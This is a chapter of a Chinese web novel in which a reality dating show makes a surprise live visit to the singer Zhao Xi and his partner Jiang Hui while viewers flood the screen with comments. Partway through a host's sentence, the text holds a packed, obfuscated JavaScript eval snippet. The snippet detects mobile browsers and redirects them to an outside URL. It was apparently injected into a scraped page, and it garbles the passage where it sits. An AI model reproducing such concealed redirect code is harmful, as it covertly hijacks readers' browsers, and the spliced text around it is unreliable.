【世上怎么可能会有一模一样且如此完美的两张脸……】 【我现在就等另一个主人公出来了】 【我有个大胆的猜测……】 【我也有一个】 【?ber,我说这两人像海报的影子是开玩笑的啊,结果你给我搞真的???】 弹幕炸了,节目笑得最开心。 就知道安排他们第一组出场准没错! 赵熙没管观众的死活,问他们:“我们马上要走吗?” 何其连忙摆手:“不急不急,是我们来得突然,嘉宾要是没准备好行李箱也是正常的,随便你们准备多久,我们这回就是拍个日常。” 事实上,另外两对情侣那边也有主持人赶过去开播了,现在节目组的直播里三个分镜,观众想看哪一对直接点进哪一对的直播间。 赵熙便大概明白了,现在是导演一拍脑子临时决定的直播突击检查情侣日常,明天才算正式节目内容。 他点头:“你们吃饭了吗?” 何其笑呵呵道:“赵老师就是客气,吃过了吃过了。你们要是不想做饭,车上还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240120|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备了两份早餐呢。” 赵熙笑了下:“不了,我自己做。” 何其好奇道:“自己做?赵老师还会下厨?” “勉勉强强。”赵熙将衬衫捋到手肘,淡然道,“我……我哥比较爱吃。” 【?】 【你讲的是我国语言吗?为何我一个字也听不懂】 【姓赵?你哥?你哥谁啊?你又是谁啊?】 【声音真的好耳熟……】 【楼上id我认得,我也觉得和你家哥哥像】 【不可说不可说】 【你们在打什么哑谜……】 【话说支持人干什么吃的,倒是介绍一下这是谁啊!】 一直有在观察弹幕的和何其自然看见了观众的抗议,立刻道:“忘了和直播间的观众们介绍了,这位是赵熙,星辉娱乐旗下歌手,艺名xx。没错,就是你们想的那位xx。” 赵熙正要去厨房呢,闻言配合地朝着摄像头的方向点了点头,算作打招呼。 何其笑眯眯道:“对了,小赵老师也是姜洄姜老师的恋人,同时也是次节目邀请嘉宾之一,也就是大家一直期待的,节目组第三对情侣。” 赵熙客气地笑笑:“叫我小赵或者名字就好。” 主持人说的风轻云淡,赵熙也应得理所当然,弹幕却在寂静一秒后,炸开了锅。 【你再说一遍他是谁???】 【吓得我手机屏幕摔碎了……】 【xx?我就说他和姜洄很像,你们当初都喷我,这两人明明就是很像啊!】 【哪里是很像分明就是一模一样……】 【难道孪生兄弟?没听说过jh有个兄弟啊】 【人家都是情侣了……你觉得要是孪生兄弟,这节目能播吗?】 【所以为何长得这么像……】 【啊啊啊啊我的小众cp成真了???】 【最终赢家竟是cp粉……】 【一开始就猜的是他俩,结果猜对了,下楼跑两圈冷静一下】 【卧槽我当初赌的也是他俩,结果被人带偏了,我还在节目组那个投票下注了!】 【谁说这对不炸裂的……另一个主人公人还没出来就已经够炸裂了】 【恍恍惚惚好像在做梦,我记得昨天这两人还毫不相干来着?】 【所以xx不露脸难道是因为和老婆长得很像……】 【?怎么就定谁是老婆了,万一老婆是赵呢?】 【你觉得赵这身高……还有姜洄还没起床,这谁1谁0不是一眼分明吗】 【那也不能喊老婆,要喊也是互相喊老公】 【人家爱咋喊咋喊,你们管那么多】 【话说赵xi,xi到底是哪个xi啊?西西还是希希?】 【xx的名字原来是这么来的?】 …… 与此同时,姜洄放在床头的手机响个不停,他皱眉试图屏蔽这声音继续入睡,但无果,手机响得更欢了。 他睡眼惺忪地睁开眼,略带烦躁地伸手从被窝里捞过手机,随手摁开。 屏幕上密密麻麻都是好友发来的消息,姜洄随便扫过一眼,看见有问【啊?你和xx是……?】的,这是普通好友。 有说【姜老师你醒着吗……醒一醒吧天塌了】的,这是张瞬。 还有发来满屏问号的,这是宋因雯和唐尺。 以及经纪人醒目的那句【我对不起你……】。 刚睡醒的大脑还糊着,姜洄没能立刻看懂什么意思,先把目光下意识定在了最顶上的置顶。 【西西:哥,节目组来了】 【西西:他们现在在客厅,你醒了和我说一声,我去做早饭了】 姜洄目光滞了两秒,终于看懂什么意思后,霍然起身。